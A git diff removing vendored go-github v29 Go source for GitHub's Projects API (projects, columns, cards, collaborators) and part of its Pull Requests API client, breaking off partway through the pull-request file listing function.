+++ /dev/null @@ -1,594 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ProjectsService provides access to the projects functions in the -// GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/projects/ -type ProjectsService service - -// Project represents a GitHub Project. -type Project struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - ColumnsURL *string `json:"columns_url,omitempty"` - OwnerURL *string `json:"owner_url,omitempty"` - Name *string `json:"name,omitempty"` - Body *string `json:"body,omitempty"` - Number *int `json:"number,omitempty"` - State *string `json:"state,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` - - // The User object that generated the project. - Creator *User `json:"creator,omitempty"` -} - -func (p Project) String() string { - return Stringify(p) -} - -// GetProject gets a GitHub Project for a repo. -// -// GitHub API docs: https://developer.github.com/v3/projects/#get-a-project -func (s *ProjectsService) GetProject(ctx context.Context, id int64) (*Project, *Response, error) { - u := fmt.Sprintf("projects/%v", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - project := &Project{} - resp, err := s.client.Do(ctx, req, project) - if err != nil { - return nil, resp, err - } - - return project, resp, nil -} - -// ProjectOptions specifies the parameters to the -// RepositoriesService.CreateProject and -// ProjectsService.UpdateProject methods. -type ProjectOptions struct { - // The name of the project. (Required for creation; optional for update.) - Name *string `json:"name,omitempty"` - // The body of the project. (Optional.) - Body *string `json:"body,omitempty"` - - // The following field(s) are only applicable for update. - // They should be left with zero values for creation. - - // State of the project. Either "open" or "closed". (Optional.) - State *string `json:"state,omitempty"` - // The permission level that all members of the project's organization - // will have on this project. - // Setting the organization permission is only available - // for organization projects. (Optional.) - OrganizationPermission *string `json:"organization_permission,omitempty"` - // Sets visibility of the project within the organization. - // Setting visibility is only available - // for organization projects.(Optional.) - Public *bool `json:"public,omitempty"` -} - -// UpdateProject updates a repository project. -// -// GitHub API docs: https://developer.github.com/v3/projects/#update-a-project -func (s *ProjectsService) UpdateProject(ctx context.Context, id int64, opt *ProjectOptions) (*Project, *Response, error) { - u := fmt.Sprintf("projects/%v", id) - req, err := s.client.NewRequest("PATCH", u, opt) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - project := &Project{} - resp, err := s.client.Do(ctx, req, project) - if err != nil { - return nil, resp, err - } - - return project, resp, nil -} - -// DeleteProject deletes a GitHub Project from a repository. -// -// GitHub API docs: https://developer.github.com/v3/projects/#delete-a-project -func (s *ProjectsService) DeleteProject(ctx context.Context, id int64) (*Response, error) { - u := fmt.Sprintf("projects/%v", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ProjectColumn represents a column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/repos/projects/ -type ProjectColumn struct { - ID *int64 `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` - ProjectURL *string `json:"project_url,omitempty"` - CardsURL *string `json:"cards_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -// ListProjectColumns lists the columns of a GitHub Project for a repo. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#list-project-columns -func (s *ProjectsService) ListProjectColumns(ctx context.Context, projectID int64, opt *ListOptions) ([]*ProjectColumn, *Response, error) { - u := fmt.Sprintf("projects/%v/columns", projectID) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - columns := []*ProjectColumn{} - resp, err := s.client.Do(ctx, req, &columns) - if err != nil { - return nil, resp, err - } - - return columns, resp, nil -} - -// GetProjectColumn gets a column of a GitHub Project for a repo. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#get-a-project-column -func (s *ProjectsService) GetProjectColumn(ctx context.Context, id int64) (*ProjectColumn, *Response, error) { - u := fmt.Sprintf("projects/columns/%v", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - column := &ProjectColumn{} - resp, err := s.client.Do(ctx, req, column) - if err != nil { - return nil, resp, err - } - - return column, resp, nil -} - -// ProjectColumnOptions specifies the parameters to the -// ProjectsService.CreateProjectColumn and -// ProjectsService.UpdateProjectColumn methods. -type ProjectColumnOptions struct { - // The name of the project column. (Required for creation and update.) - Name string `json:"name"` -} - -// CreateProjectColumn creates a column for the specified (by number) project. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#create-a-project-column -func (s *ProjectsService) CreateProjectColumn(ctx context.Context, projectID int64, opt *ProjectColumnOptions) (*ProjectColumn, *Response, error) { - u := fmt.Sprintf("projects/%v/columns", projectID) - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - column := &ProjectColumn{} - resp, err := s.client.Do(ctx, req, column) - if err != nil { - return nil, resp, err - } - - return column, resp, nil -} - -// UpdateProjectColumn updates a column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#update-a-project-column -func (s *ProjectsService) UpdateProjectColumn(ctx context.Context, columnID int64, opt *ProjectColumnOptions) (*ProjectColumn, *Response, error) { - u := fmt.Sprintf("projects/columns/%v", columnID) - req, err := s.client.NewRequest("PATCH", u, opt) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - column := &ProjectColumn{} - resp, err := s.client.Do(ctx, req, column) - if err != nil { - return nil, resp, err - } - - return column, resp, nil -} - -// DeleteProjectColumn deletes a column from a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#delete-a-project-column -func (s *ProjectsService) DeleteProjectColumn(ctx context.Context, columnID int64) (*Response, error) { - u := fmt.Sprintf("projects/columns/%v", columnID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ProjectColumnMoveOptions specifies the parameters to the -// ProjectsService.MoveProjectColumn method. -type ProjectColumnMoveOptions struct { - // Position can be one of "first", "last", or "after:", where - // is the ID of a column in the same project. (Required.) - Position string `json:"position"` -} - -// MoveProjectColumn moves a column within a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/columns/#move-a-project-column -func (s *ProjectsService) MoveProjectColumn(ctx context.Context, columnID int64, opt *ProjectColumnMoveOptions) (*Response, error) { - u := fmt.Sprintf("projects/columns/%v/moves", columnID) - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ProjectCard represents a card in a column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#get-a-project-card -type ProjectCard struct { - URL *string `json:"url,omitempty"` - ColumnURL *string `json:"column_url,omitempty"` - ContentURL *string `json:"content_url,omitempty"` - ID *int64 `json:"id,omitempty"` - Note *string `json:"note,omitempty"` - Creator *User `json:"creator,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Archived *bool `json:"archived,omitempty"` - - // The following fields are only populated by Webhook events. - ColumnID *int64 `json:"column_id,omitempty"` - - // The following fields are only populated by Events API. - ProjectID *int64 `json:"project_id,omitempty"` - ProjectURL *string `json:"project_url,omitempty"` - ColumnName *string `json:"column_name,omitempty"` - PreviousColumnName *string `json:"previous_column_name,omitempty"` // Populated in "moved_columns_in_project" event deliveries. -} - -// ProjectCardListOptions specifies the optional parameters to the -// ProjectsService.ListProjectCards method. -type ProjectCardListOptions struct { - // ArchivedState is used to list all, archived, or not_archived project cards. - // Defaults to not_archived when you omit this parameter. - ArchivedState *string `url:"archived_state,omitempty"` - - ListOptions -} - -// ListProjectCards lists the cards in a column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#list-project-cards -func (s *ProjectsService) ListProjectCards(ctx context.Context, columnID int64, opt *ProjectCardListOptions) ([]*ProjectCard, *Response, error) { - u := fmt.Sprintf("projects/columns/%v/cards", columnID) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - cards := []*ProjectCard{} - resp, err := s.client.Do(ctx, req, &cards) - if err != nil { - return nil, resp, err - } - - return cards, resp, nil -} - -// GetProjectCard gets a card in a column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#get-a-project-card -func (s *ProjectsService) GetProjectCard(ctx context.Context, cardID int64) (*ProjectCard, *Response, error) { - u := fmt.Sprintf("projects/columns/cards/%v", cardID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - card := &ProjectCard{} - resp, err := s.client.Do(ctx, req, card) - if err != nil { - return nil, resp, err - } - - return card, resp, nil -} - -// ProjectCardOptions specifies the parameters to the -// ProjectsService.CreateProjectCard and -// ProjectsService.UpdateProjectCard methods. -type ProjectCardOptions struct { - // The note of the card. Note and ContentID are mutually exclusive. - Note string `json:"note,omitempty"` - // The ID (not Number) of the Issue to associate with this card. - // Note and ContentID are mutually exclusive. - ContentID int64 `json:"content_id,omitempty"` - // The type of content to associate with this card. Possible values are: "Issue" and "PullRequest". - ContentType string `json:"content_type,omitempty"` - // Use true to archive a project card. - // Specify false if you need to restore a previously archived project card. - Archived *bool `json:"archived,omitempty"` -} - -// CreateProjectCard creates a card in the specified column of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#create-a-project-card -func (s *ProjectsService) CreateProjectCard(ctx context.Context, columnID int64, opt *ProjectCardOptions) (*ProjectCard, *Response, error) { - u := fmt.Sprintf("projects/columns/%v/cards", columnID) - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - card := &ProjectCard{} - resp, err := s.client.Do(ctx, req, card) - if err != nil { - return nil, resp, err - } - - return card, resp, nil -} - -// UpdateProjectCard updates a card of a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#update-a-project-card -func (s *ProjectsService) UpdateProjectCard(ctx context.Context, cardID int64, opt *ProjectCardOptions) (*ProjectCard, *Response, error) { - u := fmt.Sprintf("projects/columns/cards/%v", cardID) - req, err := s.client.NewRequest("PATCH", u, opt) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - card := &ProjectCard{} - resp, err := s.client.Do(ctx, req, card) - if err != nil { - return nil, resp, err - } - - return card, resp, nil -} - -// DeleteProjectCard deletes a card from a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#delete-a-project-card -func (s *ProjectsService) DeleteProjectCard(ctx context.Context, cardID int64) (*Response, error) { - u := fmt.Sprintf("projects/columns/cards/%v", cardID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ProjectCardMoveOptions specifies the parameters to the -// ProjectsService.MoveProjectCard method. -type ProjectCardMoveOptions struct { - // Position can be one of "top", "bottom", or "after:", where - // is the ID of a card in the same project. - Position string `json:"position"` - // ColumnID is the ID of a column in the same project. Note that ColumnID - // is required when using Position "after:" when that card is in - // another column; otherwise it is optional. - ColumnID int64 `json:"column_id,omitempty"` -} - -// MoveProjectCard moves a card within a GitHub Project. -// -// GitHub API docs: https://developer.github.com/v3/projects/cards/#move-a-project-card -func (s *ProjectsService) MoveProjectCard(ctx context.Context, cardID int64, opt *ProjectCardMoveOptions) (*Response, error) { - u := fmt.Sprintf("projects/columns/cards/%v/moves", cardID) - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ProjectCollaboratorOptions specifies the optional parameters to the -// ProjectsService.AddProjectCollaborator method. -type ProjectCollaboratorOptions struct { - // Permission specifies the permission to grant to the collaborator. - // Possible values are: - // "read" - can read, but not write to or administer this project. - // "write" - can read and write, but not administer this project. - // "admin" - can read, write and administer this project. - // - // Default value is "write" - Permission *string `json:"permission,omitempty"` -} - -// AddProjectCollaborator adds a collaborator to an organization project and sets -// their permission level. You must be an organization owner or a project admin to add a collaborator. -// -// GitHub API docs: https://developer.github.com/v3/projects/collaborators/#add-user-as-a-collaborator -func (s *ProjectsService) AddProjectCollaborator(ctx context.Context, id int64, username string, opt *ProjectCollaboratorOptions) (*Response, error) { - u := fmt.Sprintf("projects/%v/collaborators/%v", id, username) - req, err := s.client.NewRequest("PUT", u, opt) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// RemoveProjectCollaborator removes a collaborator from an organization project. -// You must be an organization owner or a project admin to remove a collaborator. -// -// GitHub API docs: https://developer.github.com/v3/projects/collaborators/#remove-user-as-a-collaborator -func (s *ProjectsService) RemoveProjectCollaborator(ctx context.Context, id int64, username string) (*Response, error) { - u := fmt.Sprintf("projects/%v/collaborators/%v", id, username) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - return s.client.Do(ctx, req, nil) -} - -// ListCollaboratorOptions specifies the optional parameters to the -// ProjectsService.ListProjectCollaborators method. -type ListCollaboratorOptions struct { - // Affiliation specifies how collaborators should be filtered by their affiliation. - // Possible values are: - // "outside" - All outside collaborators of an organization-owned repository - // "direct" - All collaborators with permissions to an organization-owned repository, - // regardless of organization membership status - // "all" - All collaborators the authenticated user can see - // - // Default value is "all". - Affiliation *string `url:"affiliation,omitempty"` - - ListOptions -} - -// ListProjectCollaborators lists the collaborators for an organization project. For a project, -// the list of collaborators includes outside collaborators, organization members that are direct -// collaborators, organization members with access through team memberships, organization members -// with access through default organization permissions, and organization owners. You must be an -// organization owner or a project admin to list collaborators. -// -// GitHub API docs: https://developer.github.com/v3/projects/collaborators/#list-collaborators -func (s *ProjectsService) ListProjectCollaborators(ctx context.Context, id int64, opt *ListCollaboratorOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("projects/%v/collaborators", id) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - var users []*User - resp, err := s.client.Do(ctx, req, &users) - if err != nil { - return nil, resp, err - } - - return users, resp, nil -} - -// ProjectPermissionLevel represents the permission level an organization -// member has for a given project. -type ProjectPermissionLevel struct { - // Possible values: "admin", "write", "read", "none" - Permission *string `json:"permission,omitempty"` - - User *User `json:"user,omitempty"` -} - -// ReviewProjectCollaboratorPermission returns the collaborator's permission level for an organization -// project. Possible values for the permission key: "admin", "write", "read", "none". -// You must be an organization owner or a project admin to review a user's permission level. -// -// GitHub API docs: https://developer.github.com/v3/projects/collaborators/#review-a-users-permission-level -func (s *ProjectsService) ReviewProjectCollaboratorPermission(ctx context.Context, id int64, username string) (*ProjectPermissionLevel, *Response, error) { - u := fmt.Sprintf("projects/%v/collaborators/%v/permission", id, username) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - ppl := new(ProjectPermissionLevel) - resp, err := s.client.Do(ctx, req, ppl) - if err != nil { - return nil, resp, err - } - return ppl, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/pulls.go b/vendor/github.com/google/go-github/v29/github/pulls.go deleted file mode 100644 index 867455aeaf..0000000000 --- a/vendor/github.com/google/go-github/v29/github/pulls.go +++ /dev/null @@ -1,483 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "context" - "fmt" - "strings" - "time" -) - -// PullRequestsService handles communication with the pull request related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/pulls/ -type PullRequestsService service - -// PullRequest represents a GitHub pull request on a repository. -type PullRequest struct { - ID *int64 `json:"id,omitempty"` - Number *int `json:"number,omitempty"` - State *string `json:"state,omitempty"` - Locked *bool `json:"locked,omitempty"` - Title *string `json:"title,omitempty"` - Body *string `json:"body,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - ClosedAt *time.Time `json:"closed_at,omitempty"` - MergedAt *time.Time `json:"merged_at,omitempty"` - Labels []*Label `json:"labels,omitempty"` - User *User `json:"user,omitempty"` - Draft *bool `json:"draft,omitempty"` - Merged *bool `json:"merged,omitempty"` - Mergeable *bool `json:"mergeable,omitempty"` - MergeableState *string `json:"mergeable_state,omitempty"` - MergedBy *User `json:"merged_by,omitempty"` - MergeCommitSHA *string `json:"merge_commit_sha,omitempty"` - Rebaseable *bool `json:"rebaseable,omitempty"` - Comments *int `json:"comments,omitempty"` - Commits *int `json:"commits,omitempty"` - Additions *int `json:"additions,omitempty"` - Deletions *int `json:"deletions,omitempty"` - ChangedFiles *int `json:"changed_files,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - IssueURL *string `json:"issue_url,omitempty"` - StatusesURL *string `json:"statuses_url,omitempty"` - DiffURL *string `json:"diff_url,omitempty"` - PatchURL *string `json:"patch_url,omitempty"` - CommitsURL *string `json:"commits_url,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - ReviewCommentsURL *string `json:"review_comments_url,omitempty"` - ReviewCommentURL *string `json:"review_comment_url,omitempty"` - ReviewComments *int `json:"review_comments,omitempty"` - Assignee *User `json:"assignee,omitempty"` - Assignees []*User `json:"assignees,omitempty"` - Milestone *Milestone `json:"milestone,omitempty"` - MaintainerCanModify *bool `json:"maintainer_can_modify,omitempty"` - AuthorAssociation *string `json:"author_association,omitempty"` - NodeID *string `json:"node_id,omitempty"` - RequestedReviewers []*User `json:"requested_reviewers,omitempty"` - - // RequestedTeams is populated as part of the PullRequestEvent. - // See, https://developer.github.com/v3/activity/events/types/#pullrequestevent for an example. - RequestedTeams []*Team `json:"requested_teams,omitempty"` - - Links *PRLinks `json:"_links,omitempty"` - Head *PullRequestBranch `json:"head,omitempty"` - Base *PullRequestBranch `json:"base,omitempty"` - - // ActiveLockReason is populated only when LockReason is provided while locking the pull request. - // Possible values are: "off-topic", "too heated", "resolved", and "spam". - ActiveLockReason *string `json:"active_lock_reason,omitempty"` -} - -func (p PullRequest) String() string { - return Stringify(p) -} - -// PRLink represents a single link object from Github pull request _links. -type PRLink struct { - HRef *string `json:"href,omitempty"` -} - -// PRLinks represents the "_links" object in a Github pull request. -type PRLinks struct { - Self *PRLink `json:"self,omitempty"` - HTML *PRLink `json:"html,omitempty"` - Issue *PRLink `json:"issue,omitempty"` - Comments *PRLink `json:"comments,omitempty"` - ReviewComments *PRLink `json:"review_comments,omitempty"` - ReviewComment *PRLink `json:"review_comment,omitempty"` - Commits *PRLink `json:"commits,omitempty"` - Statuses *PRLink `json:"statuses,omitempty"` -} - -// PullRequestBranch represents a base or head branch in a GitHub pull request. -type PullRequestBranch struct { - Label *string `json:"label,omitempty"` - Ref *string `json:"ref,omitempty"` - SHA *string `json:"sha,omitempty"` - Repo *Repository `json:"repo,omitempty"` - User *User `json:"user,omitempty"` -} - -// PullRequestListOptions specifies the optional parameters to the -// PullRequestsService.List method. -type PullRequestListOptions struct { - // State filters pull requests based on their state. Possible values are: - // open, closed, all. Default is "open". - State string `url:"state,omitempty"` - - // Head filters pull requests by head user and branch name in the format of: - // "user:ref-name". - Head string `url:"head,omitempty"` - - // Base filters pull requests by base branch name. - Base string `url:"base,omitempty"` - - // Sort specifies how to sort pull requests. Possible values are: created, - // updated, popularity, long-running. Default is "created". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort pull requests. Possible values are: asc, desc. - // If Sort is "created" or not specified, Default is "desc", otherwise Default - // is "asc" - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// List the pull requests for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#list-pull-requests -func (s *PullRequestsService) List(ctx context.Context, owner string, repo string, opt *PullRequestListOptions) ([]*PullRequest, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeLockReasonPreview, mediaTypeDraftPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var pulls []*PullRequest - resp, err := s.client.Do(ctx, req, &pulls) - if err != nil { - return nil, resp, err - } - - return pulls, resp, nil -} - -// ListPullRequestsWithCommit returns pull requests associated with a commit SHA. -// -// The results will include open and closed pull requests. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#list-pull-requests-associated-with-commit -func (s *PullRequestsService) ListPullRequestsWithCommit(ctx context.Context, owner, repo, sha string, opt *PullRequestListOptions) ([]*PullRequest, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/pulls", owner, repo, sha) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeListPullsOrBranchesForCommitPreview, mediaTypeDraftPreview, mediaTypeLockReasonPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - var pulls []*PullRequest - resp, err := s.client.Do(ctx, req, &pulls) - if err != nil { - return nil, resp, err - } - - return pulls, resp, nil -} - -// Get a single pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#get-a-single-pull-request -func (s *PullRequestsService) Get(ctx context.Context, owner string, repo string, number int) (*PullRequest, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d", owner, repo, number) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeLockReasonPreview, mediaTypeDraftPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - pull := new(PullRequest) - resp, err := s.client.Do(ctx, req, pull) - if err != nil { - return nil, resp, err - } - - return pull, resp, nil -} - -// GetRaw gets a single pull request in raw (diff or patch) format. -func (s *PullRequestsService) GetRaw(ctx context.Context, owner string, repo string, number int, opt RawOptions) (string, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d", owner, repo, number) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return "", nil, err - } - - switch opt.Type { - case Diff: - req.Header.Set("Accept", mediaTypeV3Diff) - case Patch: - req.Header.Set("Accept", mediaTypeV3Patch) - default: - return "", nil, fmt.Errorf("unsupported raw type %d", opt.Type) - } - - var buf bytes.Buffer - resp, err := s.client.Do(ctx, req, &buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// NewPullRequest represents a new pull request to be created. -type NewPullRequest struct { - Title *string `json:"title,omitempty"` - Head *string `json:"head,omitempty"` - Base *string `json:"base,omitempty"` - Body *string `json:"body,omitempty"` - Issue *int `json:"issue,omitempty"` - MaintainerCanModify *bool `json:"maintainer_can_modify,omitempty"` - Draft *bool `json:"draft,omitempty"` -} - -// Create a new pull request on the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#create-a-pull-request -func (s *PullRequestsService) Create(ctx context.Context, owner string, repo string, pull *NewPullRequest) (*PullRequest, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls", owner, repo) - req, err := s.client.NewRequest("POST", u, pull) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeDraftPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - p := new(PullRequest) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// PullRequestBranchUpdateOptions specifies the optional parameters to the -// PullRequestsService.UpdateBranch method. -type PullRequestBranchUpdateOptions struct { - // ExpectedHeadSHA specifies the most recent commit on the pull request's branch. - // Default value is the SHA of the pull request's current HEAD ref. - ExpectedHeadSHA *string `json:"expected_head_sha,omitempty"` -} - -// PullRequestBranchUpdateResponse specifies the response of pull request branch update. -type PullRequestBranchUpdateResponse struct { - Message *string `json:"message,omitempty"` - URL *string `json:"url,omitempty"` -} - -// UpdateBranch updates the pull request branch with latest upstream changes. -// -// This method might return an AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it has now scheduled the update of the pull request branch in a background task. -// A follow up request, after a delay of a second or so, should result -// in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#update-a-pull-request-branch -func (s *PullRequestsService) UpdateBranch(ctx context.Context, owner, repo string, number int, opts *PullRequestBranchUpdateOptions) (*PullRequestBranchUpdateResponse, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/update-branch", owner, repo, number) - - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeUpdatePullRequestBranchPreview) - - p := new(PullRequestBranchUpdateResponse) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -type pullRequestUpdate struct { - Title *string `json:"title,omitempty"` - Body *string `json:"body,omitempty"` - State *string `json:"state,omitempty"` - Base *string `json:"base,omitempty"` - MaintainerCanModify *bool `json:"maintainer_can_modify,omitempty"` -} - -// Edit a pull request. -// pull must not be nil. -// -// The following fields are editable: Title, Body, State, Base.Ref and MaintainerCanModify. -// Base.Ref updates the base branch of the pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#update-a-pull-request -func (s *PullRequestsService) Edit(ctx context.Context, owner string, repo string, number int, pull *PullRequest) (*PullRequest, *Response, error) { - if pull == nil { - return nil, nil, fmt.Errorf("pull must be provided") - } - - u := fmt.Sprintf("repos/%v/%v/pulls/%d", owner, repo, number) - - update := &pullRequestUpdate{ - Title: pull.Title, - Body: pull.Body, - State: pull.State, - MaintainerCanModify: pull.MaintainerCanModify, - } - // avoid updating the base branch when closing the Pull Request - // - otherwise the GitHub API server returns a "Validation Failed" error: - // "Cannot change base branch of closed pull request". - if pull.Base != nil && pull.GetState() != "closed" { - update.Base = pull.Base.Ref - } - - req, err := s.client.NewRequest("PATCH", u, update) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeLockReasonPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - p := new(PullRequest) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// ListCommits lists the commits in a pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#list-commits-on-a-pull-request -func (s *PullRequestsService) ListCommits(ctx context.Context, owner string, repo string, number int, opt *ListOptions) ([]*RepositoryCommit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/commits", owner, repo, number) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var commits []*RepositoryCommit - resp, err := s.client.Do(ctx, req, &commits) - if err != nil { - return nil, resp, err - } - - return commits, resp, nil -} - -// ListFiles lists the files in a pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#list-pull-requests-files -func (s *PullRequestsService) ListFiles(ctx context.Context, owner string, repo string, number int, opt *ListOptions) ([]*CommitFile, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/files", owner, repo, number) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != 